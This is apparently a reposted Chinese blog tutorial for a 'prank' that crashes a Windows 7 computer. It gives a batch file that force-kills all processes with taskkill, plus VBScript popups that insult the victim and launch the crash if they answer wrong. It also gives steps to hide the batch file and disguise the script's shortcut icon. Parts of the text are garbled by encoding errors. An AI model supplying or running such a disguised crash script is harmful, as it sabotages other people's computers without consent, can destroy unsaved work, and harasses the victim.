藍屏重點：在VBS輸入整人代碼，然后用VBS打開bat藍屏文件

VBS框架：

msgbox"? ?"? ? ? ? ? ? ? ? ? ? ?彈窗

createobject("wscript.shell").run "cmd /c start? ? ? ? ? ? ? ? ?"? ? ? ? ?打開文件

inputbox("? ?")? ? ? ? ? ? ? ? ? ?輸入

dim? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 定義變量

1.

if MsgBox("這里是彈窗內(nèi)容",vbYesNo,"這里是彈窗內(nèi)容")=vbyes then

msgbox "這里是彈窗內(nèi)容",64,"這里是彈窗內(nèi)容"

else

msgbox "這里是彈窗內(nèi)容",64,"這里是彈窗內(nèi)容"
createobject("wscript.shell").run "cmd /c start 這里要填想要打開的文件路徑"
end if

2.

dim a
a=InputBox("這里是彈窗內(nèi)容")
if a="這里是要輸入的內(nèi)容"then
Msgbox"這里是彈窗內(nèi)容",64,"這里是彈窗內(nèi)容"
else
Msgbox"這里是彈窗內(nèi)容",64,"這里是彈窗內(nèi)容"
createobject("wscript.shell").run "cmd /c start 這里要填想要打開的文件路徑"
end if

方法一：

1.? 在隱蔽的地方新建一個文本文檔，改名叫藍屏.bat，右鍵編輯，輸入? ? ? ? ? ? ? ? ? ? ? ? ??

taskkill /f /fi "pid ne 1"? ? ? ? ? ?

taskkill /f /fi "pid ne 1"

保存。

2.再找一個文件夾，（或者就在bat文件的下面）新建一個文本文檔，改名叫整人.VBS,右鍵編輯，輸入

if MsgBox("你是傻逼嗎？",vbYesNo,"警告??！")=vbyes then

msgbox "我擦你竟然是傻逼！！!",64,"哈哈哈哈~笑死我了！"

else

msgbox "還不承認!! 作為懲罰，藍屏一下，你馬上掛了#￥！@#￥%@……#……?",64,"嚴(yán)重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超級幻影編程\BAT\新建文件夾\藍屏.bat"
end if

if MsgBox("你是傻逼嗎？",vbYesNo,"警告??！")=vbyes then

msgbox "我擦你竟然是傻逼?。?",64,"哈哈哈哈~笑死我了！"

else

msgbox "還不承認!! 作為懲罰，藍屏一下，你馬上掛了#￥！@#￥%@……#……?",64,"嚴(yán)重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超級幻影編程\BAT\新建文件夾\藍屏.bat"
end if

注意：中文部分是可以改的 ，start后面是藍屏.bat文件的路徑，msgbox彈窗可以自己增加。
?

3.（重要！）點擊文件，另存為，把編碼改為ANSI，保存。

4.（可弄可不弄）單擊VBS文件，右鍵，單擊發(fā)送到，桌面快捷方式，右鍵屬性，更改圖標(biāo)，OK！

?方法二：

1.同上

2.再找一個文件夾，（或者就在bat文件的下面）新建一個文本文檔，改名叫整人.VBS,右鍵編輯，輸入

dim a
a=InputBox("你是不是SB？！")
if a="是"then
Msgbox"我擦你竟然是傻逼??！!",64,"哈哈哈哈~笑死我了！"
else
Msgbox"還不承認!! 作為懲罰，藍屏一下，你馬上掛了#￥！@#￥%@……#……?還不承認!! 作為懲罰，藍屏一下，你馬上掛了#￥！@#￥%@……#……?",0,"嚴(yán)重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超級幻影編程\BAT\新建文件夾\藍屏.bat"
end if
?

dim a
a=InputBox("你是不是SB？！")
if a="是"then
Msgbox"我擦你竟然是傻逼?。?",64,"哈哈哈哈~笑死我了！"
else
Msgbox"還不承認!! 作為懲罰，藍屏一下，你馬上掛了#￥！@#￥%@……#……?還不承認!! 作為懲罰，藍屏一下，你馬上掛了#￥！@#￥%@……#……?",0,"嚴(yán)重警告!!!!!!!!!"
createobject("wscript.shell").run "cmd /c start K:\超級幻影編程\BAT\新建文件夾\藍屏.bat"
end if

3. 同上

4. 同上文章來源地址http://www.zghlxwxcb.cn/news/detail-500933.html

這種藍屏對電腦是無害的，重啟一遍就好了。

到了這里，關(guān)于VBS整人藍屏代碼（Windows 7 直接藍屏，重啟即可恢復(fù)，親測有效?。。┑奈恼戮徒榻B完了。如果您還想了解更多內(nèi)容，請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！